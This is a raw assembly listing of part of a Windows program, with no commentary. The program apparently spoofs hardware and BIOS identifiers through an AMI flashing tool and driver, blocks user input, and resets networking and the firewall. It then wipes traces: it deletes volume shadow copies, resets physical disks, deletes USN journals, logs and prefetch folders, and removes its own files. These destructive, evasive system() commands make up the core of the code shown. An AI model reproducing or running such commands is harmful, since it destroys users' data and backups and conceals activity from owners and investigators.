cmp rax, 0x1f
jbe 0x14005bae4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp - 0x38]
mov rax, r12
sub rax, r14
cmp rax, 0x1f
jb 0x14005cba6
lea r15, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova r15, qword [rbp - 0x48]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r14 + 0x1f]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x14005bbab
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005bb6b
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005bd3e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005bba6
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005bb94
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005cb88
jmp 0x14005bb4c
test rcx, rcx
je 0x14005bba3
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005bba6
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windowswinxsrcsv64.exe__SK]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x1400fbcb8]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [0x1400fbcc0]
mov dword [rdi + 0x18], eax
movzx eax, word [0x1400fbcc4]
mov word [rdi + 0x1c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 0x1e], al
lea rcx, [rdi + 0x1f]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005bc4e
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005bc6f
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005bcf7
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bcf2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bcf2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005bd4a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bd45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bd45
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp - 0x58]
mov rax, r12
sub rax, r14
cmp rax, 0x1f
jb 0x14005cbac
lea r15, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova r15, qword [rbp - 0x68]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r14 + 0x1f]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x14005be0c
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005bdcc
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005bf9f
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005be07
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005bdf5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005cb8e
jmp 0x14005bdad
test rcx, rcx
je 0x14005be04
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005be07
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windowswinxsrcsv64.exe__SF]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x1400fbcd8]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [0x1400fbce0]
mov dword [rdi + 0x18], eax
movzx eax, word [0x1400fbce4]
mov word [rdi + 0x1c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 0x1e], al
lea rcx, [rdi + 0x1f]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005beaf
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005bed0
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005bf58
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bf53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bf53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005bfab
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005bfa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005bfa6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp - 0x78]
mov rax, r12
sub rax, r14
cmp rax, 0x1f
jb 0x14005cb70
lea r15, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova r15, qword [rsp + 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rsi, [r14 + 0x1f]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x50]
cmp rsi, rbx
jbe 0x14005c022
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005c004
mov rbx, r12
jmp 0x14005c011
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.140008120
mov rdi, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [str.C:Windowswinxsrcsv64.exe__BT]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x1400fbcf8]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [0x1400fbd00]
mov dword [rdi + 0x18], eax
movzx eax, word [0x1400fbd04]
mov word [rdi + 0x1c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 0x1e], al
lea rcx, [rdi + 0x1f]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 5
lea rdx, str.__nul
lea rcx, [rsp + 0x50]
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005c0ed
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005c11a
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0xf8]
lea rdx, str.C:Windowswinxsrcsv64.exe__BLC
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005c1aa
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005c1d7
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0xd8]
lea rdx, str.C:Windowswinxsrcsv64.exe__PSN
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005c267
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005c294
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0xb8]
lea rdx, str.C:Windowswinxsrcsv64.exe__PAT
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005c324
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005c351
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0x98]
lea rdx, str.C:Windowswinxsrcsv64.exe__PPN
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005c3e1
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005c40e
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0x78]
lea rdx, str.C:Windowswinxsrcsv64.exe__CSK
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005c49b
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005c4c8
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0x58]
lea rdx, str.C:Windowswinxsrcsv64.exe__CS
lea rcx, [rsp + 0x50]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x48]
cmp r8, 0xf
jbe 0x14005c555
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.14005cc80
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x14005c582
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.14005cc80
lea r8, [rbp + 0x38]
lea rdx, str.C:Windowswinxsrcsv64.exe__BS
lea rcx, [rsp + 0x30]
call fcn.140007200
nop
mov r8d, 5
lea rdx, str.__nul
mov rcx, rax
call fcn.140005ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x50]
call fcn.140005d60
nop
lea rcx, [rsp + 0x30]
call fcn.140005d60
lea rcx, str.C:Windowswinxsrcsv64.exe__SV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__SP__MS_7D22_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__SM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__BM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__BP__H510M_A_PRO__MS_7D22__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__BV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__CV__1.0_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__CM__Micro_Star_International_Co.__Ltd._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__CA__Default_string_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__CO__0000_0000h_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__CT__03h_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__IV__3.80_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswinxsrcsv64.exe__IVN__American_Megatrends_International__LLC._
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, str.C:WindowsDisk1.exe_C:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsDisk1.exe_D:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsDisk1.exe_E:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsDisk1.exe_F:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsMac.bat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_winmgmt__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_start_winmgmt__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__y__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_start_winmgmt__y__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ipconfig__flushdns__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_ip_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_reset_all__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_ipv4_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_ipv6_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_winsock_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_winsock_reset_catalog__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_vssadmin_delete_shadows__all__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_Reset_PhysicalDisk___nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_deletejournal__n_C:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_deletejournal__n_D:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_deletejournal__n_E:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.fsutil_usn_deletejournal__n_F:__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:WindowsSystem32_restoreMachineGuid.txt__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:System_Volume_InformationIndexerVolumeGuid__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:System_Volume_Information_tracking.log__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:WindowsINF_setupapi.dev.log__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__s__f__q_C:WindowsINF_setupapi.setup.log__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_C:Windows_temp__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_C:Users_username_AppDataLocalTemp__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_C:WindowsPrefetch__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:Windowswinxsrcsv64.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:Windows_amifldrv64.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsDisk1.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:WindowsMac.bat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400f9b18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x118]
call fcn.140005d60
nop
lea rcx, [rbp + 0x138]
call fcn.140005d60
nop
lea rcx, [rbp + 0x158]
call fcn.140005d60
nop
lea rcx, [rbp + 0x178]
call fcn.140005d60
nop
lea rcx, [rbp + 0x198]
call fcn.140005d60
nop
lea rcx, [rbp + 0x1b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x1d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x1f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x218]
call fcn.140005d60
nop
lea rcx, [rbp + 0x238]
call fcn.140005d60
nop
lea rcx, [rbp + 0x258]
call fcn.140005d60
nop
lea rcx, [rbp + 0x278]
call fcn.140005d60
nop
lea rcx, [rbp + 0x298]
call fcn.140005d60
nop
lea rcx, [rbp + 0x2b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x2d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x2f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x318]
call fcn.140005d60
nop
lea rcx, [rbp + 0x338]
call fcn.140005d60
nop
lea rcx, [rbp + 0x358]
call fcn.140005d60
nop
lea rcx, [rbp + 0x378]
call fcn.140005d60
nop
lea rcx, [rbp + 0x398]
call fcn.140005d60
nop
lea rcx, [rbp + 0x3b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x3d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x3f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x418]
call fcn.140005d60
nop
lea rcx, [rbp + 0x438]
call fcn.140005d60
nop
lea rcx, [rbp + 0x458]
call fcn.140005d60
nop
lea rcx, [rbp + 0x478]
call fcn.140005d60
nop
lea rcx, [rbp + 0x498]
call fcn.140005d60
nop
lea rcx, [rbp + 0x4b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x4d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x4f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x518]
call fcn.140005d60
nop
lea rcx, [rbp + 0x538]
call fcn.140005d60
nop
lea rcx, [rbp + 0x558]
call fcn.140005d60
nop
lea rcx, [rbp + 0x578]
call fcn.140005d60
nop
lea rcx, [rbp + 0x598]
call fcn.140005d60
nop
lea rcx, [rbp + 0x5b8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x5d8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x5f8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x618]
call fcn.140005d60
nop
lea rcx, [rbp + 0x638]
call fcn.140005d60
nop
lea rcx, [rbp + 0x38]
call fcn.140005d60
nop
lea rcx, [rbp + 0x58]
call fcn.140005d60
nop
lea rcx, [rbp + 0x78]
call fcn.140005d60
nop
lea rcx, [rbp + 0x98]
call fcn.140005d60
nop
